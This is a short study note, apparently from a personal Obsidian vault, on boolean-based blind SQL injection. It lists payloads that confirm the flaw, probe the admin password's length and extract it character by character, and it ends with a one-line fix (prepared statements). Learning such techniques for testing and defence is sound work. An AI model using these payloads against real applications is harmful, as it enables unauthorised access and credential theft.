🧠 SQLi - Boolean-based Blind

Exploitation

Prerequisites:

Attack Vectors

  1. Step 1: Verify the vulnerability by using a statement that definitely return TRUE or FALSE to test and observe the difference in the output.
5 AND 1=1--
5 AND 1=2--
  1. Step 2: Determine the length of the target data (password, table name, column, name…)
5 AND (SELECT LENGTH(password) FROM users WHERE username='admin') =/</> 5--
  1. Step 3: Extract the data character by character using ASCII and SUBSTRING functions.
--Checking if the character at the pos position is an 'a' (ASCII 97)
5 AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),pos,1)) = 97--

Mitigation

Fix: Use Prepared Statements

TABLE creation_date AS "Created" 
FROM "05 - Content" 
WHERE contains(techniques, this.file.link) AND contains(tags, "🚩") 
SORT file.name ASC